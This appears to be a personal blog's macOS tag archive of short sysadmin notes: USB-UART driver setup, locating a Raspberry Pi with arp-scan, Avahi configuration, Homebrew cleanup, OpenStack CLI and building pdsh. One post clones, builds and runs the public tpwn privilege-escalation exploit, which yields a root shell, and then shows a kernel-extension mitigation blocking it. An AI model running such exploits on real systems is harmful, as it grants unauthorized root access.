Tag Archives: macos

USB to UART Bridge Controller (dongle)

Finally i’ve got TTL to USB dongle. Here is some photos:

CP2102 Front
CP2102 Back

Silicon Labs CP2102 as detected by MacOS

CP2102 MacOS USB1
CP2102 MacOS USB2

Drivers can be downloaded from the official site.
Driver version 4.1.1 successfully installed under MacOS X Yosemite 10.10.5 (14F27).

$ kextstat | tail -1
  170    0 0xffffff7f832d7000 0x6000     0x6000     com.silabs.driver.CP210xVCPDriver (4.1.1) <90 37 4 3>

driver loaded and we’re got two special character devices under the /dev directory:

$ ls -la /dev/*SLAB*
crw-rw-rw- 1 root wheel 17, 11 Sep 14 23:04 /dev/cu.SLAB_USBtoUART
crw-rw-rw- 1 root wheel 17, 10 Sep 14 23:04 /dev/tty.SLAB_USBtoUART

now we’re should perform loopback test. Short RX and TX pins, and run terminal:

sudo cu -l /dev/tty.SLAB_USBtoUART -s 115200

try to enter some text. Letters should be displayed while each key pressed.
If you’re see typed text all fine and press ~. (tilde and period) to exit terminal.

Raspberry Pi lost… and found

How to find my RPi2 on network. I use arp-scan, brewed in my MacOS shell:

$ brew update
$ brew install arp-scan

Optional steps (for proper vendor decoding):

$ get-iab -v -f /usr/local/share/arp-scan/ieee-iab.txt
Renaming /usr/local/share/arp-scan/ieee-iab.txt to /usr/local/share/arp-scan/ieee-iab.txt.bak
Fetching IAB data from http://standards.ieee.org/develop/regauth/iab/iab.txt
Fetched 2452407 bytes
Opening output file /usr/local/share/arp-scan/ieee-iab.txt
4567 IAB entries written to file /usr/local/share/arp-scan/ieee-iab.txt
$ get-oui -v -f /usr/local/share/arp-scan/ieee-oui.txt
Renaming /usr/local/share/arp-scan/ieee-oui.txt to /usr/local/share/arp-scan/ieee-oui.txt.bak
Fetching OUI data from http://standards.ieee.org/develop/regauth/oui/oui.txt
Fetched 3245695 bytes
Opening output file /usr/local/share/arp-scan/ieee-oui.txt
21123 OUI entries written to file /usr/local/share/arp-scan/ieee-oui.txt

Now scan local network (don’t forget sudo):

$ sudo arp-scan --localnet | grep -i 'b8:27:eb'
192.168.1.102	b8:27:eb:dd:e3:c6	Raspberry Pi Foundation

Found.

Bonjour networking for Raspberry Pi

I have a lot of Apple hardware (MacBook, Hackintosh, iPhone, etc.) configured with Bonjour and I want my RPi2 be resolved by network.

apt-get update
apt-get install -y avahi-daemon
update-rc.d avahi-daemon enable
service avahi-daemon stop
vi /etc/default/avahi-daemon

and change the line:

AVAHI_DAEMON_DETECT_LOCAL=1

to

AVAHI_DAEMON_DETECT_LOCAL=0

then start the Avahi-daemon with

service avahi-daemon start

Now we’re can test resolving by ping for example

$ ping raspberrypi.local
PING raspberrypi.local (192.168.1.102): 56 data bytes
64 bytes from 192.168.1.102: icmp_seq=0 ttl=64 time=0.439 ms
64 bytes from 192.168.1.102: icmp_seq=1 ttl=64 time=0.446 ms
^C
--- raspberrypi.local ping statistics ---
2 packets transmitted, 2 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.439/0.443/0.446/0.003 ms

Problem solved.

Brew Cask cleanup orphans

find /opt/homebrew-cask/Caskroom -depth 1 -print -exec \
  sh -c "ls -1A {} | grep -v .metadata | head -n -1" \; | grep -B1 -E '^[^\/]'

output will show you extra files in directory which should be removed

/opt/homebrew-cask/Caskroom/google-chrome
.DS_Store
--
/opt/homebrew-cask/Caskroom/iterm2
.DS_Store
--
/opt/homebrew-cask/Caskroom/opera
24.0.1558.64

also it will display orphaned versions of exact Cask which should be zapped

brew cask zap opera
brew cask install opera

Serious flaw in Mac OS X

$ git clone https://github.com/kpwn/tpwn.git
Cloning into 'tpwn'...
remote: Counting objects: 19, done.
remote: Total 19 (delta 0), reused 0 (delta 0), pack-reused 19
Unpacking objects: 100% (19/19), done.
Checking connectivity... done.
$ cd tpwn/
$ make
gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3
strip tpwn
$ ./tpwn
leaked kaslr slide, @ 0x0000000000000000
sh-3.2# id
uid=0(root) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),395(com.apple.access_ftp),398(com.apple.access_screensharing-disabled),399(com.apple.access_ssh-disabled)
sh-3.2#

Original post: Young Italian discovers two serious flaws in Mac OS X

Solution #1: NULLGuard

Solution #2: SUIDGuard

SUIDGuard looks like professional (enterprise) solution for the problem, official website www.suidguard.com

$ open ~/Downloads/SUIDGuardNG-106.dmg
$ sudo kextload -v /Library/Extensions/SUIDGuardNG.kext
Password:
Requesting load of /Library/Extensions/SUIDGuardNG.kext.
/Library/Extensions/SUIDGuardNG.kext loaded successfully (or already loaded).
$ ./tpwn
Killed: 9

Perfect!

Install OpenStack nova CLI on MacOS X

1. Check the Python installation. Currently, the nova client does not support Python 3.

$ python -V
Python 2.7.2

2. Install python-novaclient using pip, don’t panic if you already installed python-novaclient using easy_install.

$ sudo easy_install pip
Searching for pip
Best match: pip 1.3.1
Processing pip-1.3.1-py2.7.egg
pip 1.3.1 is already the active version in easy-install.pth
Installing pip script to /usr/local/bin
Installing pip-2.7 script to /usr/local/bin
 
Using /Library/Python/2.7/site-packages/pip-1.3.1-py2.7.egg
Processing dependencies for pip
Finished processing dependencies for pip
 
$ sudo pip install python-novaclient
Requirement already satisfied (use --upgrade to upgrade): python-novaclient in /Library/Python/2.7/site-packages
Requirement already satisfied (use --upgrade to upgrade): iso8601>=0.1.4 in /Library/Python/2.7/site-packages/iso8601-0.1.4-py2.7.egg (from python-novaclient)
Requirement already satisfied (use --upgrade to upgrade): prettytable>=0.6,<0.8 in /Library/Python/2.7/site-packages/prettytable-0.7.2-py2.7.egg (from python-novaclient)
Requirement already satisfied (use --upgrade to upgrade): requests>=0.8 in /Library/Python/2.7/site-packages/requests-1.2.3-py2.7.egg (from python-novaclient)
Requirement already satisfied (use --upgrade to upgrade): simplejson in /Library/Python/2.7/site-packages/simplejson-3.3.0-py2.7-macosx-10.8-intel.egg (from python-novaclient)
Cleaning up...

as you can see pip listed python-novaclient in their packages. but you always can delete and reinstall python-novaclient using pip now, or simple use update option.

pdsh на MacOS

Ни в системе ни в портах нет очень нужной штуки для администрирования… такой как “пыдыщь” :(
У нас конечно же стоит XCode и порты, так что собрать самим не составит труда:

$ cd ~/Downloads
$ curl -O http://pdsh.googlecode.com/files/pdsh-2.29.tar.bz2
$ tar jxvf pdsh-2.29.tar.bz2
$ cd pdsh-2.29
$ ./configure --prefix=/usr/local --with-ssh
$ sudo make install

проверяем:

$ pdsh -Rssh -w cp1,cp2,cp3 uptime
cp3:  15:05:25 up 7 days, 17:23,  0 users,  load average: 0.07, 0.32, 0.18
cp1:  15:05:25 up 7 days,  6:21,  0 users,  load average: 0.43, 0.92, 0.92
cp2:  15:05:25 up 7 days, 15:00,  0 users,  load average: 0.63, 1.68, 1.26
$

вот так одной коммандой убили трех зайцев :)